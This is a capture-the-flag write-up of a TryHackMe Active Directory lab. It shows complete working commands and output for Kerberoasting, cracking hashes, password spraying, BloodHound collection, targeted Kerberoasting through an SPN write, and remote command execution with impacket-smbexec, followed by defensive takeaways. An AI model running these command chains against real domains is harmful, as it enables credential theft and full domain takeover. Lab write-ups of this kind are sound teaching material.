← ./home
root@ad:~/operation_endgames#
SESSION ACTIVE

breach reconstruction log

OPERATION
ENDGAMESTryHackMe · Active Directory

TARGET 10.49.168.3 DOMAIN thm.local DC ad.thm.local (AD) OS Windows Server 2019 RESULT DOMAIN COMPROMISED
▼ scroll to begin
┌──(operator@kali)-[~/writeup] └─$ cat 00_tldr.md

// 00tl;dr

A full Active Directory environment that falls in six acts: an anonymous guest LDAP bind leaks a Kerberoastable account; the cracked password gets reused by a second user; BloodHound shows that user can write to a third user's SPN attribute; a targeted Kerberoast abuses that write privilege; the cracked hash buys RDP access; and a hardcoded credential in a sync script sitting on disk turns out to be local admin on the DC. Guest bind to Domain Admin, no exploit code required — just enumeration, reused secrets, and an ACL nobody was watching.

┌──(operator@kali)-[~/writeup] └─$ cat 00_env.cfg

// 00environment

target10.49.168.3
domainthm.local
domain controllerAD / ad.thm.local
osWindows Server 2019 (Build 17763)
internal cathm-LABYRINTH-CA
attack boxKali Linux
┌──(operator@kali)-[~/writeup] └─$ cat 01_recon.sh

// 01reconnaissance

Full TCP service scan to start.

$ sudo nmap -sV -sC 10.49.168.3 -vvv
PORT     STATE SERVICE           VERSION
53/tcp   open  domain            Simple DNS Plus
80/tcp   open  http              Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Active Directory LDAP (Domain: thm.local)
443/tcp  open  ssl/https?
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
3268/tcp open  ldap              Global Catalog (Domain: thm.local)
3269/tcp open  globalcatLDAPssl?
3389/tcp open  ms-wbt-server     Microsoft Terminal Services

A textbook Domain Controller fingerprint — Kerberos, LDAP, Global Catalog ports, SMB, RDP, all lit up. The TLS cert on 443 leaks the internal CA name, thm-LABYRINTH-CA, and the RDP cert confirms the hostname: ad.thm.local / NetBIOS AD. Both got dropped into /etc/hosts before anything else.

┌──(operator@kali)-[~/writeup] └─$ cat 02_guest_enum.sh

// 02guest enumeration

First check on any AD box: does the Guest account or a null session give anything up for free?

$ netexec smb 10.49.168.3 -u "guest" -p "" --shares
SMB   10.49.168.3   445   AD   [+] thm.local\guest:
SMB   10.49.168.3   445   AD   Share    Permissions   Remark
SMB   10.49.168.3   445   AD   ADMIN$                 Remote Admin
SMB   10.49.168.3   445   AD   C$                      Default share
SMB   10.49.168.3   445   AD   IPC$     READ           Remote IPC
SMB   10.49.168.3   445   AD   NETLOGON                Logon server share
SMB   10.49.168.3   445   AD   SYSVOL                  Logon server share

Guest authenticates, but the shares are unremarkable and IPC$ came back empty over smbclient. The real win was a blank-password LDAP bind:

$ nxc ldap ad.thm.local -u 'guest' -p ''
LDAP   10.49.168.3   389   AD   [+] thm.local\guest:
┌──(operator@kali)-[~/writeup] └─$ cat 03_kerberoast.sh

// 03kerberoasting, no creds needed

An authenticated bind — even as Guest — is enough to query for accounts with a servicePrincipalName and request their TGS tickets in one shot.

$ nxc ldap ad.thm.local -u 'guest' -p '' --kerberoasting kerberoastables.txt
[*] sAMAccountName: CODY_ROY, memberOf: CN=Remote Desktop Users,..., pwdLastSet: 2024-05-10
$krb5tgs$23$*CODY_ROY$THM.LOCAL$thm.local\CODY_ROY*$d7cf2be0...8a9da65c77e6 [truncated]

Straight into John against rockyou.txt:

$ john kerberoastables.txt --wordlist=/usr/share/wordlists/rockyou.txt
MKO)mko0         (?)
1g 0:00:00:01 DONE
cody_roy : MKO)mko0

Cracked in under two seconds. First real credential of the engagement.

┌──(operator@kali)-[~/writeup] └─$ cat 04_domain_enum.sh

// 04enumerating the domain

With a valid, if low-privileged, account, LDAP opens right up.

$ nxc ldap ad.thm.local -u 'cody_roy' -p 'MKO)mko0' --users

Dumped 489 domain users, mostly tagged Tier 1 User, plus the usual built-ins. Scraped the names into a list for the next step:

$ nxc ldap ad.thm.local -u 'cody_roy' -p 'MKO)mko0' --users | grep "LDAP" | awk '{print $5}' > users.txt
┌──(operator@kali)-[~/writeup] └─$ cat 05_pw_spray.sh

// 05password spraying — reuse pays off

489 users and one known-good password is an obvious next move: spray it and see who reused it.

$ sudo nxc smb ad.thm.local -u users.txt -p 'MKO)mko0' --continue-on-success
...mostly STATUS_LOGON_FAILURE...
SMB   10.49.168.3   445   AD   [+] thm.local\CODY_ROY:MKO)mko0
SMB   10.49.168.3   445   AD   [+] thm.local\ZACHARY_HUNT:MKO)mko0

ZACHARY_HUNT was reusing CODY_ROY's exact password. Two accounts down, neither obviously privileged on its own — time to find out what they're actually worth.

┌──(operator@kali)-[~/writeup] └─$ cat 06_bloodhound.sh

// 06mapping the attack path

Rather than guess, collected the full AD graph as cody_roy:

$ sudo bloodhound-python -u 'cody_roy@thm.local' -p 'MKO)mko0' --zip \
  -dc ad.thm.local -c All -d thm.local -ns 10.49.168.3 --dns-timeout 10 --dns-tcp
INFO: Found 490 users
INFO: Found 53 groups
INFO: Found 216 ous
INFO: Compressing output into 20260620152021_bloodhound.zip

Loaded the zip into BloodHound CE and pivoted from ZACHARY_HUNT. The graph showed an outbound edge granting write access to the servicePrincipalName attribute on JERRI_LANCASTER — effectively GenericWrite over that user object. Textbook setup for a targeted Kerberoast: write a fake SPN onto a victim account that has none, request a TGS, clean up after yourself — no need for the victim's current password.

┌──(operator@kali)-[~/writeup] └─$ cat 07_targeted_roast.sh

// 07targeted kerberoasting

targetedKerberoast.py automates exactly this: add SPN → request TGS → remove SPN.

$ python targetedKerberoast.py -v -d 'thm.local' -u 'ZACHARY_HUNT' -p 'MKO)mko0' \
  --dc-host ad.thm.local --request-user 'JERRI_LANCASTER'
[*] Attacking user (JERRI_LANCASTER)
[VERBOSE] SPN added successfully for (JERRI_LANCASTER)
[+] Printing hash for (JERRI_LANCASTER)
$krb5tgs$23$*JERRI_LANCASTER$THM.LOCAL$thm.local/JERRI_LANCASTER*$94fb6c58...42693c9d [truncated]
[VERBOSE] SPN removed successfully for (JERRI_LANCASTER)

A clean, surgical Kerberoast against an account that was never roastable to begin with — ZACHARY_HUNT's write privilege made it possible.

┌──(operator@kali)-[~/writeup] └─$ cat 08_crack.sh

// 08cracking the targeted hash

$ sudo john jerri_hash --wordlist=/usr/share/wordlists/rockyou.txt
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
lovinlife!    (?)
1g 0:00:00:01 DONE
jerri_lancaster : lovinlife!

And RDP is wide open on port 3389.

┌──(operator@kali)-[~/writeup] └─$ cat 09_rdp_access.sh

// 09rdp access

$ sudo xfreerdp3 /v:ad.thm.local /u:'jerri_lancaster' /p:'lovinlife!' \
  /dynamic-resolution /clipboard /cert:ignore

In as jerri_lancaster. A quick poke around the filesystem turned up something interesting almost immediately:

C:\>cd Scripts
C:\Scripts>dir
05/13/2024  06:50 PM    426 syncer.ps1

C:\Scripts>type syncer.ps1
# Import Active Directory module
Import-Module ActiveDirectory

# Define credentials
$Username = "SANFORD_DAUGHERTY"
$Password = ConvertTo-SecureString "RESET_ASAP123" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($Username, $Password)

# Sync Active Directory
Sync-ADObject -Object "DC=thm,DC=local" -Source "ad.thm.local" -Destination "ad2.thm.local" -Credential $Credential

A hardcoded service-account password sitting in plaintext in a world-readable script. Classic.

┌──(operator@kali)-[~/writeup] └─$ cat 10_privesc.sh

// 10privilege escalation

Checked what SANFORD_DAUGHERTY was actually worth:

$ sudo nxc smb ad.thm.local -u "SANFORD_DAUGHERTY" -p 'RESET_ASAP123' --shares
SMB   10.49.168.3   445   AD   [+] thm.local\SANFORD_DAUGHERTY:RESET_ASAP123 (Pwn3d!)
SMB   10.49.168.3   445   AD   Share     Permissions     Remark
SMB   10.49.168.3   445   AD   ADMIN$    READ,WRITE      Remote Admin
SMB   10.49.168.3   445   AD   C$        READ,WRITE      Default share

NetExec's (Pwn3d!) tag means this account has local admin rights on the DC. Straight to a semi-interactive shell:

$ impacket-smbexec 'THM.LOCAL/SANFORD_DAUGHERTY:RESET_ASAP123@ad.thm.local'
C:\Windows\system32>dir ..\..\users\Administrator\Desktop
05/10/2024  02:46 PM    <DIR>          .
05/10/2024  02:46 PM    <DIR>          ..
05/10/2024  01:52 PM               59 flag.txt.txt

C:\Windows\system32>type ..\..\users\Administrator\Desktop\flag.txt.txt
root flag captured
THM{INFILTRATION_COMPLETE_OUR_COMMAND_OVER_NETWORK_ASSERTS}

Domain compromised, end to end, starting from an empty-password Guest LDAP bind.

┌──(operator@kali)-[~/writeup] └─$ cat attack_chain.txt

full attack chain

Guest LDAP bind (no creds)
   │
   ▼
Kerberoast CODY_ROY  →  crack  →  MKO)mko0
   │
   ▼
Enumerate all 489 users via cody_roy
   │
   ▼
Password spray MKO)mko0  →  reused by ZACHARY_HUNT
   │
   ▼
BloodHound: ZACHARY_HUNT has GenericWrite → JERRI_LANCASTER
   │
   ▼
Targeted Kerberoast JERRI_LANCASTER  →  crack  →  lovinlife!
   │
   ▼
RDP as jerri_lancaster  →  finds syncer.ps1 with plaintext creds
   │
   ▼
SANFORD_DAUGHERTY:RESET_ASAP123  →  local admin on DC (Pwn3d!)
   │
   ▼
smbexec → SYSTEM-level access → flag
┌──(operator@kali)-[~/writeup] └─$ ls -la /opt/arsenal/

tools used

-rwxr-xr-x  nmap                  service / version recon
-rwxr-xr-x  netexec (nxc)         SMB & LDAP enum, kerberoast, spray, share checks
-rwxr-xr-x  smbclient             manual share inspection
-rwxr-xr-x  john                   offline hash cracking (rockyou.txt)
-rwxr-xr-x  bloodhound-python     AD graph collection
-rwxr-xr-x  bloodhound (CE)       attack-path graphing / analysis
-rwxr-xr-x  targetedKerberoast.py abusing write privs to roast non-SPN accounts
-rwxr-xr-x  xfreerdp3             RDP access
-rwxr-xr-x  impacket-smbexec      remote command execution
┌──(operator@kali)-[~/writeup] └─$ cat takeaways.md

key takeaways

  • Anonymous / Guest LDAP binds should be disabled. A blank-password guest session enumerated the entire user base and pulled a Kerberoastable hash with zero authentication.
  • Kerberoastable accounts need strong, randomized passwords — or no standing SPN at all (gMSAs where possible). MKO)mko0 looked complex and still fell to rockyou.txt in under two seconds.
  • Password reuse across accounts is still one of the most reliable ways in. One cracked password, sprayed once, handed over a second foothold.
  • ACL misconfigurations like GenericWrite are easy to miss without graph-based tooling. ZACHARY_HUNT's write access over another user's servicePrincipalName never showed up in a plain net user query — BloodHound is what surfaced it.
  • Never hardcode credentials in scripts, even "internal" maintenance scripts sitting in an unassuming folder. syncer.ps1 turned a mid-tier RDP foothold into Domain Admin in one type command.